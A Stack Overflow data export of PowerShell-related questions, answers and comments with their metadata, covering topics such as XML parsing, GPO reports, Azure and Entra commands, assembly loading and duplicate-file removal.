type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79364722
has text: @SantiagoSquarzon No. The code doesn't seem to work as the OP intends. If the code worked fine without issue then the question could be an ok fit for Code Review.
score: 4

http://stackoverflow.com/comment/140046764
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79411096
score: 0
has text: Also, I would recommend you append switch [-WhatIf](https://techcommunity.microsoft.com/blog/itopstalkblog/powershell-basics-dont-fear-hitting-enter-with--whatif/353579) to all `Remove-*` commands in your code to make sure your script will remove only the wanted users/OUs first without destroying the wrong objects.

http://stackoverflow.com/comment/139798899
comment on: http://stackoverflow.com/q/79278526
type: QuestionComment
type: Comment
score: 0
has text: Please edit your question and paste the relevant `AzurePowershell@5` task.

http://stackoverflow.com/q/79318047
has body: I have an XML file formatted as: <?xml version="1.0" encoding="UTF-8"?> .*NULL.* ITEM D:\Folder\Keystore.keystore Password My goal is to turn the KeyStorePath value (D:\Folder\Keystore.keystore) as a variable. I have my path as [xml]$TestPath = gc XML.xml My thought was to run: $TestPath.Configure.Set | Where-Object name -EQ 'KeyStorePath' But this returns no results. I would expect if I ran: $TestPath.Configure.Set.Name It would return KeyStorePath and KeyStorePassword, but it's only returning Set. I attempted to run: $TestPath.Configure.Set.Name.Set And that returns nothing... As always, I'm sure it's something obvious and I just need an extra set of eyes to tell me what I'm doing wrong...
score: 0
linked to: http://stackoverflow.com/q/79312111
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139869707
tagged with: http://stackoverflow.com/tag/xml
type: Question
has comment: http://stackoverflow.com/comment/139869766
answer count: 0
has comment: http://stackoverflow.com/comment/139869768
tagged with: powershell
duplicate of: http://stackoverflow.com/q/79312111
has comment: http://stackoverflow.com/comment/139870748
has comment: http://stackoverflow.com/comment/139870698
has comment: http://stackoverflow.com/comment/139869745
has title: Getting XML Value With PowerShell
has comment: http://stackoverflow.com/comment/139869737

http://stackoverflow.com/comment/139752598
type: AnswerComment
score: 1
type: Comment
comment on: http://stackoverflow.com/a/79249620
has text: @alx9r added the answer, didnt consider you were using 5.1

http://stackoverflow.com/comment/139958543
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/79331379
type: Comment
has text: I hope this helps to resolve your issue.

http://stackoverflow.com/q/79401312
score: 0
has comment: http://stackoverflow.com/comment/140030260
has comment: http://stackoverflow.com/comment/140030058
has answer: http://stackoverflow.com/a/79402333
accepted answer: http://stackoverflow.com/a/79402333
has comment: http://stackoverflow.com/comment/140028664
tagged with: http://stackoverflow.com/tag/xml
type: Question
linked to: http://stackoverflow.com/q/49386054
answer count: 1
has comment: http://stackoverflow.com/comment/140030064
has comment: http://stackoverflow.com/comment/140027432
has comment: http://stackoverflow.com/comment/140030229
tagged with: gpo
has title: Use PowerShell to extract linking of a specific GPO from XML
tagged with: powershell
has body: I am attempting to use PowerShell to extract link information(SOMPath) from a GPO using the Get-GPOreport command and report type XML without exporting the GPO XML to a file first. I am struggling to get it to give me the results I need. here is the code I am working with. $reports2 = Get-GPOReport -name "GPO-Name" -ReportType XML select-xml -content $reports2 -XPath "//SOMPath" | foreach {$_.node.InnerXML} it is not returning any data nor is it returning any errors the variable $reports2 does return and properly formatted XML and it does have the SOMPath data in it that I need to extract but I cant seam to get it to give me the SOMPath data. example of the SOMPath data I am looking to extract: Domain/OU/OU/OU the ultimate goal is I will be running this against a list of GPOs and need it to list something like the following: GPO1: SOMPath1 SOMPath2 SOMPath3 GPO2: SOMPath1 SOMPath2 per the guidance from Microsoft website, it should be relatively simple (as seen in the MS example below) (Begin MS XML example) $Xml = @" <?xml version="1.0" encoding="utf-8"?> En.Book1.com Ge.Book1.Com Fr.Book1.com Pl.Book1.com "@ (Begin MS Code example) Select-Xml -Content $Xml -XPath "//edition" | foreach {$_.node.InnerXML} (begin MS results example) En.Book1.com Ge.Book1.Com Fr.Book1.com Pl.Book1.com thank you for your time and help
type: AnsweredQuestion

http://stackoverflow.com/comment/139801536
type: Comment
has text: Maybe something like this would work though too `Start-Process -FilePath "C:\Program Files (x86)\GnuPG\bin\gpg.exe" -ArgumentList "-r", "public key email", "-e", "Path\TO\FILE\$fileName", "--output", "Path\TO\OUTPUT\$fileName.pgp" `
score: 0
comment on: http://stackoverflow.com/q/79278740
type: QuestionComment

http://stackoverflow.com/comment/140061914
type: QuestionComment
comment on: http://stackoverflow.com/q/79419029
type: Comment
score: 0
has text: Did you try Group-Object?

http://stackoverflow.com/q/79294580
type: Question
answer count: 0
has title: powershell 5.1, load specific assembly version for the current instance only
tagged with: powershell
type: UnansweredQuestion
score: 0
tagged with: powershell-5.1
has body: I want to use MimeKit but the server on which I want to run the script is far from up-to-date regarding the assembly dependencies. And no, I can not update the assembly system wide due to frozen configuration. What I did is, put all the .dll, .xml of MimeKit, its dependencies, and the dependencies' dependencies, in a folder, then Add-Type -Path '&lt;path to mimekit.dll&gt;' Doing so, MimeKit works fine. My questions are: is this the right way to make PowerShell use specific assembly version? once auto-loaded that way, will these assembly version affect only this instance of PowerShell and won't mess with other instances (remember, frozen configuration)? edit 1 I found that I can also store the .dll in different folders and load them using (Get-ChildItem -Recurse $AssemblyRoot\*.dll).fullname | %{ [System.Reflection.Assembly]::LoadFrom($_) } It tried to load them using multiple Add-Type but it seems that I need to add them in the right order, the innermost first. is this method better than the auto-load one above? and the most important question remains: will these assembly version affect only this instance of PowerShell and won't mess with other instances (remember, frozen configuration)?

http://stackoverflow.com/comment/140078074
type: Comment
has text: Please note that solicitation of votes is not allowed on Stack Overflow. This isn't Microsoft Answers--we have standards here.
comment on: http://stackoverflow.com/a/79405998
type: AnswerComment
score: 1

http://stackoverflow.com/comment/139879097
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79322753
has text: If you want to assign tags to Azure resources, you can use the default Azure policy named **Add a tag to resources**
type: QuestionComment

http://stackoverflow.com/q/79379208
favorite count: 0
has body: When I used Get-PnPPage command to get the webparts of a page, the result was as following. However, when I got the section of a webpart, the result returned was not an integer. InstanceId Type Title Section Column Position PropertiesJson ---------- ---- ----- ------- ------ -------- -------------- dfa0cc4b-ee42-4729-831e-663bc5fbceea PageWebPart Banner 1 1 1 {"title":"Office Equipment"… 41e8dbba-3af2-4667-b26d-b19593f9823c PageText 2 1 1 848df38c-35a9-484f-bbbf-1a23d02f87b5 PageWebPart Quick links 2 1 2 {"items":[{"sourceItem":{"g… a1bcd9d0-574a-4f27-b919-c1d9ed538a42 PageWebPart Divider 3 1 1 {"length":100,"weight":1} d6a84ba0-fbf1-489b-b60e-a8a663bd099a PageText 3 1 2 58ae73cc-d400-4665-9982-5826ee0a99cc PageWebPart Divider 4 1 1 {"length":100,"weight":1} a224bf7c-ae8e-43cd-85ff-169092b9bb5d PageText 4 1 2 14e3ce6c-6d59-47b6-80f5-489b7946be0c PageWebPart Divider 5 1 1 {"length":100,"weight":1} $webparts2[5].Section.order 1.625 How can I get the correct Section integer?
type: Question
tagged with: sharepoint
tagged with: powershell
has title: Get-PnPPage cannot get right webpart section
answer count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/79404375
type: UnansweredQuestion
score: -1
upvote count: 0

http://stackoverflow.com/comment/139813480
score: 0
type: QuestionComment
type: Comment
has text: Thanks for the clarification! I guess the answer is "not possible" then :/ Well, can't be helped!
comment on: http://stackoverflow.com/q/79286482

http://stackoverflow.com/q/79349429
score: 0
possible better answer: http://stackoverflow.com/a/79349447
type: Question
has answer: http://stackoverflow.com/a/79349447
answer count: 3
has answer: http://stackoverflow.com/a/79349527
tagged with: powershell
type: AnsweredQuestion
tagged with: microsoft-graph-api
tagged with: odata
has title: How can I filter via Get-MgAuditLogDirectoryAudit (through the Microsoft Entra Audit Logs) for a specific IP address?
accepted answer: http://stackoverflow.com/a/79349580
tagged with: microsoft-entra-id
has body: How can I filter for a specific IP address through the Microsoft Entra Audit logs? I tried following two PowerShell commands: Get-MgAuditLogDirectoryAudit -All -Property * -Filter "initiatedBy/user/ipAddress eq '$IpAddress'" Get-MgBetaAuditLogDirectoryAudit -All -Property * -Filter "initiatedBy/user/ipAddress eq '$IpAddress'" Following filter query works: Get-MgAuditLogDirectoryAudit -All -Property * -Filter "initiatedBy/user/userPrincipalName eq '$UPN'"
has answer: http://stackoverflow.com/a/79349580

http://stackoverflow.com/comment/139855969
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79307730
type: AnswerComment
has text: @AmigoJack: I see nothing that needs or needed editing and note that using edits to _editorialize_ would amount to an abuse of the edit privilege. Insisting that someone take criticism in the abstract is a logical fallacy as well as a (by definition inappropriate) ad hominem: Your criticisms have been refuted; if you see a flaw in the refutations, address _those_.

http://stackoverflow.com/q/79272560
answer count: 0
tagged with: powershell
score: 0
type: UnansweredQuestion
has body: I am trying to update the connection of a Power BI dataset after uploading the Power BI report. I have tested the connection and it works when I manually select the connection through the GUI, but I can't work out the parameters I need to send in the post request to do this programmatically. My connection is a cloud connection so i don't think I need a gateway, I don't when I do it through the GUI and the data source type is an Azure SQL Database. API Endpoint: $url = "https://api.powerbi.com/v1.0/myorg/groups/$workspaceId/datasets/$DatasetId/Default.UpdateDatasources" My Request: Invoke-PowerBIRestMethod -Url $url -Method Post -Body ($ConnectionDetailsObject | ConvertTo-Json -Depth 10) -ContentType "application/json" The API Documentation I am working from I have already created my connection in the Power BI web app. For the purposes of this post lets pretend the ID of that connection is XYZ123. In my PowerShell script I have created a class which outputs the following JSON for the request body. To the best of my knowledge this is correct, the request does not send an error back, but the data source does not update. { "updateDetails": [ { "DatasourceType": "Sql", "ConnectionDetails": { "database": "NAME_OF_DATABASE", "server": "NAME_OF_SERVER:1433" }, "DatasourceId": "XYZ123", "GatewayId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxbc7de9" } ] } The GatewayId value I obtained from inspecting the network tab of the request that's sent when i update the value manually through the GUI. I don't know if this is correct, but it seems like a generic id for the 'cloud gateway'. What should the body of my request look like to update the connection to the parameter i want?
type: Question
has title: Update Dataset Connections using Power BI APIs
tagged with: powerbi

http://stackoverflow.com/q/79256529
answer count: 1
has answer: http://stackoverflow.com/a/79257073
tagged with: powershell
type: UnansweredQuestion
has title: How can I find elements in Microsoft autogenerated XML file using Python?
tagged with: python
score: 0
has comment: http://stackoverflow.com/comment/139759136
has body: I'm trying to parse an xml file representing a Powershell serialized object, according to the documentation: import xml.etree.ElementTree as ET state = ET.parse('d:\tmp\myxml.file') stateroot = state.getroot() After running this, I get either this: >>> print(stateroot.findtext('failcount')) None or this: >>> ET.tostring(stateroot) b'<ns0:Objs xmlns:ns0="http://schemas.microsoft.com/powershell/2004/04" Version="1.1.0.1">\n <ns0:Obj RefId="0">\n <ns0:TN RefId="0">\n <ns0:T>Deserialized.System.Management.Automation.PSCustomObject</ns0:T>\n <ns0:T>Deserialized.System.Object</ns0:T>\n </ns0:TN>\n <ns0:MS>\n <ns0:Obj N="lastSuccessDT" RefId="1">\n <ns0:DT>2024-12-03T16:32:19.0841579+00:00</ns0:DT>\n <ns0:MS>\n <ns0:Obj N="DisplayHint" RefId="2">\n <ns0:TN RefId="1">\n <ns0:T>Microsoft.PowerShell.Commands.DisplayHintType</ns0:T>\n <ns0:T>System.Enum</ns0:T>\n <ns0:T>System.ValueType</ns0:T>\n <ns0:T>System.Object</ns0:T>\n </ns0:TN>\n <ns0:ToString>DateTime</ns0:ToString>\n <ns0:I32>2</ns0:I32>\n </ns0:Obj>\n </ns0:MS>\n </ns0:Obj>\n <ns0:Obj N="lastFailureDT" RefId="3">\n <ns0:DT>2024-12-02T20:57:48.8872097+00:00</ns0:DT>\n <ns0:MS>\n <ns0:Obj N="DisplayHint" RefId="4">\n <ns0:TN RefId="2">\n <ns0:T>Deserialized.Microsoft.PowerShell.Commands.DisplayHintType</ns0:T>\n <ns0:T>Deserialized.System.Enum</ns0:T>\n <ns0:T>Deserialized.System.ValueType</ns0:T>\n <ns0:T>Deserialized.System.Object</ns0:T>\n </ns0:TN>\n <ns0:ToString>DateTime</ns0:ToString>\n <ns0:I32>2</ns0:I32>\n </ns0:Obj>\n </ns0:MS>\n </ns0:Obj>\n <ns0:I32 N="failcount">0</ns0:I32>\n </ns0:MS>\n </ns0:Obj>\n</ns0:Objs>' What I'm really after is being able to retrieve the lastSuccessDT, lastFailureDT, and failcount values from these files. An example of d:\tmp\myxml.file contents: <T>Deserialized.System.Management.Automation.PSCustomObject</T> <T>Deserialized.System.Object</T> 2024-12-03T16:32:19.0841579+00:00 <T>Microsoft.PowerShell.Commands.DisplayHintType</T> <T>System.Enum</T> <T>System.ValueType</T> <T>Syst…
tagged with: http://stackoverflow.com/tag/xml
type: Question

http://stackoverflow.com/comment/139886176
has text: New-MgApplication requires Microsoft.Graph.Applications module
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79326188

http://stackoverflow.com/comment/140003859
score: 1
comment on: http://stackoverflow.com/q/79388784
type: QuestionComment
type: Comment
has text: @Saturn; the issue is caused by an intentionally breaking change in .NET 9, which PowerShell 7.5 decided to surface as such, which causes all existing code that uses `$env:FOO = ''` rather than `$env:FOO = $null` in an attempt to _undefine_ (remove) an environment variable to potentially break, because `$env:FOO = ''` no longer _undefines_, but _defines with an empty value_. While this distinction may not always matter, it does when passing environment variables _as arguments_ to commands, such as in Conda: An _undefined_ env. var. is _not_ passed as an argument, whereas the _empty string_ is.

http://stackoverflow.com/q/79354709
answer count: 1
has body: I know git diff --check will list all files having leftover conflict marker, but it doesn't actually show the diff. I think the command to show the diff in all files having leftover conflict marker should be something similar to: git diff --check | ForEach-Object {git diff $_} Any idea?
tagged with: foreach
tagged with: git-diff
has comment: http://stackoverflow.com/comment/139940816
downvote count: 0
has comment: http://stackoverflow.com/comment/139942581
tagged with: powershell
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139941453
score: 1
has comment: http://stackoverflow.com/comment/139939158
has comment: http://stackoverflow.com/comment/139939717
has comment: http://stackoverflow.com/comment/139939064
tagged with: diff
has comment: http://stackoverflow.com/comment/139944851
tagged with: git
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/79356494
has comment: http://stackoverflow.com/comment/139939981
accepted answer: http://stackoverflow.com/a/79356494
has title: How to show the diff in all files having leftover conflict marker?
type: Question

http://stackoverflow.com/comment/139905312
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79320969
has text: Restart and az login running the command and it is there - OMG THANK YOU @Rukmini
score: 1

http://stackoverflow.com/comment/139743160
has text: the function containing the Start-Job returns the $job object for some reason, while I return a $Path. this is not the 1st time I notice PS is giving we such issues
comment on: http://stackoverflow.com/q/79247480
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139744739
score: 1
comment on: http://stackoverflow.com/q/79248512
has text: @SantiagoSquarzon I know the names of each folder containing these .tiff files. Additionally, the folder names are all identical except for the final two characters which are a two digit number that increases with each folder.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140015438
score: 1
comment on: http://stackoverflow.com/q/79395138
has text: Hard to tell without you providing the error you're getting. Put `$ErrorActionPreference = 'Stop'` on top of your script and then surround all your code in a `try { .... } catch { Get-Error | Out-File path\to\error }`
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139988320
score: 0
type: AnswerComment
has text: I hope this helps to resolve your query.
comment on: http://stackoverflow.com/a/79326081
type: Comment

http://stackoverflow.com/comment/139754385
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79253851
score: 0
has text: Yes, I'm interested in any way to get the access token :) I thought it was possible to log the request headers

http://stackoverflow.com/q/79379722
score: -1
linked to: http://stackoverflow.com/q/55659654
type: Question
has comment: http://stackoverflow.com/comment/139992336
has title: How to suppress the output of the ExecuteNonQuery command in PowerShell
duplicate of: http://stackoverflow.com/q/5881174
has comment: http://stackoverflow.com/comment/139986788
tagged with: .net
answer count: 1
duplicate of: http://stackoverflow.com/q/55659654
tagged with: sql-server
tagged with: powershell
downvote count: 1
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/79379723
linked to: http://stackoverflow.com/q/5881174
has body: When the below query is run in PowerShell, the entire set of command and parameter properties, and in my case including a massive chunk of XML, is being output to the host. How to suppress the output of ExecuteNonQuery()? PowerShell: $connection = New-Object System.Data.SqlClient.SqlConnection $connection.ConnectionString = $connectionString $connection.Open() $sqlQuery = "UPDATE [dbo].DocumentData SET XmlData = @content WHERE DocumentId = @id" $command = $connection.CreateCommand() $command.CommandText = $sqlQuery Write-Host 1 $command.Parameters.Add((New-Object Data.SqlClient.SqlParameter("@content", $content))) | Out-Null Write-Host 2 $command.Parameters.Add((New-Object Data.SqlClient.SqlParameter("@id", [int]$id))) | Out-Null Write-Host 3 $command.ExecuteNonQuery() Write-Host 4 $connection.Close() $connection.Dispose()
upvote count: 0
favorite count: 0

http://stackoverflow.com/comment/140017844
comment on: http://stackoverflow.com/q/79394411
has text: $tb1 is the textbox and the value is whatever the user enters
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139851744
has text: So you may delete the question completely .... ‍♂️
comment on: http://stackoverflow.com/q/79306447
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140015913
score: 0
comment on: http://stackoverflow.com/q/79395359
has text: your `-notmatch ($_.UserPrincipalName -in $Env:Excluded )` should be `-and ($_.UserPrincipalName -notin $Env:Excluded )`
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139739373
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79245097
has text: Is using `Start-Job` not an option in this case? The way you could handle exiting gracefully using `Start-Process` could be via Named Pipe
score: 1

http://stackoverflow.com/comment/139915432
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79341652
has text: True...Tried to write something from a refernce ...`cmd /c` solution is simple. I thought like OP tried the `7z x -so archive.tar.gz | 7z x -si -ttar` and it not worked out, so suggetse dwith `cmd /c`

http://stackoverflow.com/comment/139835542
comment on: http://stackoverflow.com/q/79291780
has text: If the answer is lacking from your perspective, please provide feedback. Your question exhibits both an obvious misconception as well as implied ones, all of which are worth addressing. Thus, an acknowledged answer would benefit future readers. If you're holding back because @Daniel provided helpful pointers but didn't post an answer, note that the use of `-File`, as discussed in the answer, is the crucial aspect needed for faithful exit-code reporting, which isn't addressed in these comments. @Daniel: If you feel something hasn't been addressed and you want to post your own answer, go ahead.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/79360924
type: Answer
score: 1
has body: Not familiar with Powershell scripts, but you seem to have missed sessionId. Here's the idea you can refer to. Get a list of the possible targetId with Target.getTargets Connect to the Target with Target.attachToTarget and note the sessionId returned Set Emulation.setTimezoneOverride with the sessionId you've just got
upvote count: 1
answers question: http://stackoverflow.com/q/79358935
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79358935
downvote count: 0

http://stackoverflow.com/comment/139809900
score: 1
has text: @dbutts, please don't fundamentally change your question after answers have been given, as it invalidates the latter. After solving the initial problem - as noted in my comments, passing `(, $apppools)` is enough - you ran into an unrelated follow-up problem, which you can simply solve as follows: place the `$infoObject = New-Object PSObject` statement _inside_ your `foreach ($a in $apppools)` loop.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79278916

http://stackoverflow.com/comment/140027479
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79401189
has text: @MathiasR.Jessen working fine for me: https://i.imgur.com/4lOw06Q.png

http://stackoverflow.com/q/79280712
tagged with: winget
tagged with: azure-virtual-machine
downvote count: 0
tagged with: powershell
type: UnansweredQuestion
tagged with: azure
upvote count: 1
favorite count: 0
has title: Issues with winget on Azure VMs
score: 1
has body: I have several VMs in Azure where I want to update all applications using winget upgrade. The VMs are running Windows Server 2016/2022, and I have manually installed winget on them. When I log into the machines, I can execute winget commands without any issues. However, I wanted to run winget upgrade using Invoke-AzVMRunCommand, but I keep getting the following message and nothing happens: Value[0] : Code : ComponentStatus/StdOut/succeeded Level : Info DisplayStatus : Provisioning succeeded Message : Value[1] : Code : ComponentStatus/StdErr/succeeded Level : Info DisplayStatus : Provisioning succeeded Message : Status : Succeeded Capacity : 0 Count : 0 I also tried installing a single app with winget or writing the output to a file using -o, but the file remains empty and nothing gets installed. Invoke-AzVMRunCommand -ResourceGroupName $rgName -VMName $vmName -CommandId 'RunPowerShellScript' -ScriptString 'winget install Microsoft.Azure.StorageExplorer' Even when querying the version, I get the same successful message back. Invoke-AzVMRunCommand -ResourceGroupName $rgName -VMName $vmName -CommandId 'RunPowerShellScript' -ScriptString 'winget --version' I am the VM Owner and VM Contributor on the machines. Can anyone help me? I expect that my script will work and that I will be able to automatically update all applications on the VMs.
type: Question
has answer: http://stackoverflow.com/a/79281580
answer count: 1

http://stackoverflow.com/comment/140044611
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79410051
has text: For a Domain Joined computer you should also check if the user is a members of the built-in AD group, since an AD admin could make themselves owner of the object
type: QuestionComment

http://stackoverflow.com/q/79248415
has title: How to fully remove a Windows EventLog, EventSource and corresponding entries to start over?
tagged with: powershell
tagged with: ansible
type: UnansweredQuestion
tagged with: logging
tagged with: event-log
has body: I face the following issue: I created an EventLog and EventSource using this Ansible task: - name: Add event log with source for auto-shutdown script community.windows.win_eventlog: name: "ORG-Internal" sources: - "WindowsAutoShutdown" maximum_size: 4MB overflow_action: OverwriteAsNeeded state: present I then decided that the EventLog name should better just be "ORG". I modified the Ansible task accordingly. Before running it again, I removed the previous EventLog with this Ansible task: - name: Remove ORG-Internal log and all remaining sources community.windows.win_eventlog: name: "ORG-Internal" state: absent This created the new Eventlog and it is shown in the Windows EventViewer. However, no events are being logged from my PowerShell script (using Write-EventLogEntry), where I changed the name of the EventLog to ORG. And before (with "ORG-Internal") it worked correctly. Furthermore, for testing, I created a completely new EventLog and EventSource like so (note the postfix "New"): - name: Add event log with source for auto-shutdown script community.windows.win_eventlog: name: "ORGNew" sources: - "WindowsAutoShutdownNew" maximum_size: 4MB overflow_action: OverwriteAsNeeded state: present Logging works correctly in this case after updating my PowerShell script accordingly. I suspect that there is some "residual" configuration left from creating the first EventLog ("ORG-Internal"), which prevents the new one from functioning correctly. More specifically, I suspect that it may have to do with the EventSource having the same name in both examples (I do not want to change it). I have also tried using PowerShell commands Remove-EventLog and Clear-EventLog to remove both the old EventLog and EventSource, but this did not help. (But perhaps I did it incorrectly.) What could be causing this kind of behavior?
score: 0
tagged with: windows
type: Question
answer count: 0

http://stackoverflow.com/comment/140041933
has text: Try using Get-AzSubscription | ForEach-Object { $subscriptions[$_.Name] = $_.Id } command for dynamic subscriptions and normalize OS filter casing to prevent duplication @ZimcanIT
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79367371
score: 0

http://stackoverflow.com/a/79275932
answers question: http://stackoverflow.com/q/79273698
downvote count: 0
score: 2
upvote count: 2
type: Answer
has body: To complement Santiago's helpful answer: $MY_ENV_VAR = "hello world!" $MY_ENV_VAR is a shell variable, i.e. a variable only visible to PowerShell and only in the current session. To define an environment variable by that name, use the following: $env:MY_ENV_VAR = "hello world!" In your specific Start-Process call, the powershell.exe child process would inherit the caller's environment, so that any code running there could simply access $env:MY_ENV_VAR; the same applies to direct invocation of a child process. As Santiago notes, the use case in your question does not warrant use of Start-Process and direct invocation is the superior alternative (stream integration, automatic reporting of the exit code via $LASTEXITCODE).[1] However, Start-Process is needed if you need to create an elevated (run-as-admin) child process, namely via -Verb RunAs. In that case, the elevated process does not inherit the (non-elevated) caller's environment, and even selective additions to the elevated process' environment are categorically prevented (see this answer for details). Therefore, a different communication mechanism must then be employed, such as the one you've chosen: passing the value(s) of interest as arguments on the process command line. [1] For more information, see this answer and this guidance

http://stackoverflow.com/comment/140059734
score: 0
has text: @jdweng "Permission denied (publickey)" is an SSH error, not a git repository permissions error.
type: QuestionComment
comment on: http://stackoverflow.com/q/79416722
type: Comment

http://stackoverflow.com/a/79248474
answers question: http://stackoverflow.com/q/79245750
type: Answer
score: 0
has body: get-volume | ? drivetype -eq fixed &lt;#storage module#&gt; DriveLetter FriendlyName FileSystemType DriveType HealthStatus OperationalStatus SizeRemaining Size ----------- ------------ -------------- --------- ------------ ----------------- ------------- ---- NTFS Fixed Healthy OK 82.12 MB 525 MB C DISK NTFS Fixed Healthy OK 5.48 GB 118.73 GB PortableBaseLayer NTFS Fixed Healthy OK 7.49 GB 8 GB

http://stackoverflow.com/comment/139853290
score: 1
comment on: http://stackoverflow.com/a/79308669
type: AnswerComment
has text: @VerityFreedom You should take the [tour] to see how this website works. If you prefer a different answer as the better one you can un-accept your previous choice. And next time edit your question to append details.
type: Comment

http://stackoverflow.com/q/79361770
linked to: http://stackoverflow.com/q/46006674
upvote count: 1
favorite count: 0
tagged with: encryption
has answer: http://stackoverflow.com/a/79361771
type: Question
tagged with: powershell
answer count: 1
downvote count: 1
tagged with: passwords
has title: ConvertTo-SecureString: Error occurred during a cryptographic operation
score: 0
type: UnansweredQuestion
has body: When I run a Powershell script using an encrypted password: $PasswordEncrypted = Get-Content "C:\SecureFolder\FileWithPasswordEncrypted.txt" | ConvertTo-SecureString I get this error: ConvertTo-SecureString: Error occurred during a cryptographic operation. What am I doing wrong?

http://stackoverflow.com/comment/139982491
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79375029
has text: @Venkatesan- thanks for the script, its started working but i am getting the below error and the script stops to download the files Get-PnPFile : Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host

http://stackoverflow.com/comment/139885421
comment on: http://stackoverflow.com/q/79326018
has text: Again: Please update your question!! Do not add aditional information as comment!! And please format your code as code using a code block ..... [Please, format your code, errors and sample input/output properly](http://meta.stackexchange.com/a/22189/248777)
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140047448
comment on: http://stackoverflow.com/q/79406297
has text: Again, your question about parsing this log file has been closed and this time I personally think that this should not have been closed.. (I voted to reopen, but that takes three of us) The thing is that your file is just about the worst formatted log file ever and the explanation of what you need to filter out of that data is not all that clear.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/79347198
upvote count: 0
answers question: http://stackoverflow.com/q/79347170
score: -2
downvote count: 2
has body: You can recursively get files using code like below. The code below takes a file structure and creates an XML report of the files in the folder(s) enumerating one folder at a time. You can modify to exclude files/folders to meet your requirements. using assembly System.Xml using assembly System.Xml.Linq Function WriteTree { Param ([System.IO.DirectoryInfo]$info, [System.Xml.XmlWriter]$writer) begin{ $size = [long]0; $writer.WriteStartElement("Folder"); } process{ try { $writer.WriteAttributeString('name', $info.Name); $writer.WriteAttributeString('numberSubFolders', $info.GetDirectories().Count.ToString()); $writer.WriteAttributeString('numberFiles', $info.GetFiles().Count.ToString()); $writer.WriteAttributeString('date', $info.LastWriteTime.ToString()); foreach ($childInfo in $info.GetDirectories()) { $size += WriteTree -info $childInfo -writer $writer; } } catch { $errorMsg = [string]::Format("Exception Folder : {0}, Error : {1}", $info.FullName, $_); Write-Host $errorMsg; $writer.WriteElementString('Error', $errorMsg); } $fileInfo = $null; try { $fileInfo = $info.GetFiles(); } catch { $errorMsg = [string]::Format('Exception FileInfo : {0}, Error : {1}', $info.FullName, $_); Write-Host $errorMsg; $writer.WriteElementString('Error',$errorMsg); } if($fileInfo -ne $null) { foreach ($finfo in $fileInfo) { try { $writer.WriteStartElement('File'); $writer.WriteAttributeString('name', $finfo.Name); $writer.WriteAttributeString('size', $finfo.Length.ToString()); $writer.WriteAttributeString('date', $info.LastWriteTime.ToString()); $writer.WriteEndElement(); $size += $finfo.Length; } catch { $errorMsg = [string]::Format('Exception File : {0}, Error : {1}', $finfo.FullName, $_); Write-Host $errorMsg; $writer.WriteElementString('Error', $errorMsg); } } } $writer.WriteElementString('size', $size.ToString()); $writer.WriteEndElement(); return $size; } end{} } $filename = 'c:\temp\test.xml' $folder = 'c:\temp' $writer = $null $settings = [System.Xml.XmlWriterSettings]::new(); $…
type: Answer

http://stackoverflow.com/comment/139939091
has text: Can you post the relevant sections from the debug log (scrubbed if necessary) captured while observing the slowdown?
comment on: http://stackoverflow.com/q/79350561
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/140059544
score: 0
type: QuestionComment
has text: The account you are using to login with SSH does not have permission to read the repository. It is a permission issue.
comment on: http://stackoverflow.com/q/79416722
type: Comment

http://stackoverflow.com/a/79245527
answers question: http://stackoverflow.com/q/79245493
upvote count: 4
has body: You can filter where the groups have more than 1 item using Where-Object as Olaf pointed out in his comment. Something to consider, filtering by .Length isn't enough to determine if 2 or more files are the same, you should use Get-FileHash to ensure that. Here is how you could approach your code: Get-ChildItem $path -Recurse -Filter '*.mov' | Group-Object Length | # where there are 2 or more files Where-Object Count -GT 1 | # get the MD5 to be sure they're the same ForEach-Object { $_.Group | Get-FileHash -Algorithm MD5 } | Group-Object Hash | # if 2 or more files have the same hash you can safely remove them Where-Object Count -GT 1 | # skip 1 item and remove the rest ForEach-Object { $_.Group | Select-Object -Skip 1 } | # Remove `-WhatIf` after confirming its doing what's expected Remove-Item -WhatIf
type: Answer
score: 4
downvote count: 0

http://stackoverflow.com/comment/140021093
score: 0
type: QuestionComment
type: Comment
has text: @ThomA Using pwsh.exe gives me error that it is not recognised
comment on: http://stackoverflow.com/q/79395776

http://stackoverflow.com/comment/139758861
type: Comment
comment on: http://stackoverflow.com/q/79255264
score: 0
has text: How was the value of `$sourceId` determined? Are you saying that some installers create processes that do not end before the initial process completes?
type: QuestionComment

github
tags question: http://stackoverflow.com/q/79254833
tag name: github
tags question: http://stackoverflow.com/q/79319936
type: Tag
tags question: http://stackoverflow.com/q/79416722
tags question: http://stackoverflow.com/q/79536835

http://stackoverflow.com/comment/139740149
type: QuestionComment
type: Comment
